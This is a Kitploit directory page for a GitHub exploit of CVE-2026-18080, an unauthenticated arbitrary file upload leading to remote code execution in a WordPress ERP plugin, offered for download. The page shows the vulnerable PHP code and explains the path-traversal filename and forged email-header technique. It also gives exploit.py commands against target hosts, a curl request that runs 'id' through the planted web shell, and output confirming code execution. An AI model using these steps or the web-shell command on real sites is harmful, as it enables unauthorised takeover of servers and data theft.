Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
By-Poloss..-..CVE-2026-18080 — Exploit for CVE-2026-18080, an unauthenticated arbitrary file upload leading to RCE in ERP Complete HR, Accounting & CRM Suite. Includes Python and PHP scripts for automated exploitation. | Kitploit
Tools/GitHubGitHub/polosss/by-poloss..-..cve-2026-18080
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubpolosss/by-poloss..-..cve-2026-18080

By-Poloss..-..CVE-2026-18080

Exploit for CVE-2026-18080, an unauthenticated arbitrary file upload leading to RCE in ERP Complete HR, Accounting & CRM Suite. Includes Python and PHP scripts for automated exploitation.

View Repository
322 months agoNot yet reviewed
Share

CVE-2026-18080 — ERP Complete HR, Accounting & CRM Suite <= 1.17.7

Unauthenticated Arbitrary File Upload via CRM Email Connect IMAP Attachment (Path Traversal → RCE)

FieldValue
CVEhttps://nvd.nist.gov/vuln/detail/CVE-2026-18080
Wordfencehttps://www.wordfence.com/threat-intel/vulnerabilities/id/b9d11eb9-5e18-459f-a9d4-cccb1d593402
Patchhttps://plugins.trac.wordpress.org/changeset/3656848/erp
CVSS9.8 (Critical)
CWECWE-434 (Unrestricted Upload of File with Dangerous Type)
AffectedERP plugin versions <= 1.17.7 (fixed in 1.17.8)

Description

The ERP plugin's save_attachments() function in GmailSync.php processes inbound email attachments from IMAP without path normalization. An attacker can craft an email with a filename like ../../plugins/shell.php and a forged References header matching the plugin's expected pattern. The cron-based IMAP sync job writes the file outside the .htaccess-protected crm-attachments/ directory into any writable path under wp-content/.

Root Cause

In GmailSync.php (v1.17.7):

$name = $item['name'];              // No basename() or path normalization
$file = wp_check_filetype( $item['name'] );
// ...
$saved = $wp_filesystem->put_contents( $dir . $name, $item['data'] );

The filename ../../plugins/shell.php concatenated with $dir (wp-content/uploads/crm-attachments/) resolves to wp-content/plugins/shell.php — a directory where PHP execution is allowed.

The fix (v1.17.8) adds sanitize_attachment_filename() which strips directory components via basename(), rejects path separators, and blocks dangerous extensions.

Exploitation

Method 1: Direct (wp-cli)

python3 exploit.py -t https://wordpress.ddev.site

Method 2: Custom path and shell name

python3 exploit.py -t https://target.com --shell evil.php --path themes

Method 3: phpinfo probe

python3 exploit.py -t https://target.com --phpinfo

After successful upload:

curl -X POST -d 'cmd=id' 'https://target.com/wp-content/plugins/cve-2026-18080.php'

Proof of Concept

RESULT: [{"name":"../../plugins/cve-2026-18080.php","slug":"../../plugins/cve-2026-18080.php","path":".../crm-attachments/../../plugins/cve-2026-18080.php"}]
SUCCESS: wp-content/plugins/cve-2026-18080.php (57 bytes)
RCE: uid=1000(god) gid=1000(god)

Files

FileDescription
exploit.pyPython exploit script using wp-cli
exploit.phpStandalone PHP exploit for wp eval-file
README.mdThis file
Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    989
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    576
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    354
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    339
  • 5

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    323
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    315

Explore all tools

Browse our collection of tools

View all tools →